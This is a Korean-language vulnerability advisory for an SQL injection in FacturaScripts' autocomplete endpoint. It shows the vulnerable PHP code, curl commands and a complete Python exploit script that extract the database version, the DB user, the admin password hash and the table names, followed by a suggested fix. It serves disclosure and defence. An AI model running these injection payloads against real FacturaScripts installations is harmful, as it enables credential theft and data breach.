
CVE-2026-25514 - FacturaScripts의 자동 완성 작업에 SQL 인젝션 취약점이 존재합니다
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-25514 |
| 심각도 | 높음(HIGH) |
| 보안 권고 | 권고 보기 |
| 발견자 | Lukasz Rybak |
FacturaScripts의 자동완성 기능에는 데이터베이스에서 사용자 자격 증명, 구성 설정 및 모든 저장된 비즈니스 데이터를 포함한 민감한 데이터를 추출할 수 있는 심각한 SQL 인젝션 취약점이 존재합니다. 이 취약점은 CodeModel::all() 메서드에서 사용자 제공 매개변수가 검증이나 매개변수화된 바인딩 없이 SQL 쿼리에 직접 연결(concatenation)되는 데서 발생합니다.
FacturaScripts의 여러 컨트롤러(CopyModel, ListController, PanelController)는 사용자 입력을 CodeModel::search() 또는 CodeModel::all() 메서드를 통해 처리하는 자동완성 작업을 구현합니다. 이러한 메서드는 사용자 제어 매개변수를 검증이나 이스케이프 없이 SQL 쿼리에 직접 연결하여 쿼리를 구성합니다.
파일: /Core/Model/CodeModel.php
메서드: all()
라인: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
다음 매개변수는 SQL 인젝션에 취약합니다:
source → $tableName에 매핑 - 테이블 이름 인젝션fieldcode → $fieldCode에 매핑 - 컬럼 이름 인젝션fieldtitle → $fieldDescription에 매핑 - 컬럼 이름 인젝션(주요 공격 벡터)action=autocomplete와 함께 POST 요청을 /CopyModel로 전송합니다fieldtitle 매개변수를 통해 주입됩니다FacturaScripts는 MultiRequestProtection을 사용하므로 모든 POST 요청에 유효한 multireqtoken이 필요합니다.
1. 초기 토큰 및 세션 쿠키 획득:
FacturaScripts는 /를 /login으로 리디렉션하므로 -L로 리디렉션을 따르고 -c로 세션 쿠키를 저장합니다.
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. 인증(로그인): 저장된 쿠키와 토큰을 사용하여 로그인합니다.
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. 데이터베이스 버전 추출: 다음 요청을 위한 새 토큰을 얻고 인젝션을 실행합니다.
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. 데이터베이스 사용자 및 이름 추출:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. 관리자 비밀번호 해시 추출:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
이 SQL 인젝션 취약점은 **치명적(CRITICAL)**인 영향을 미칩니다:
옵션 1: 준비된 문(Prepared Statements) 사용
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
발견자: Łukasz Rybak
이 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 관행에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.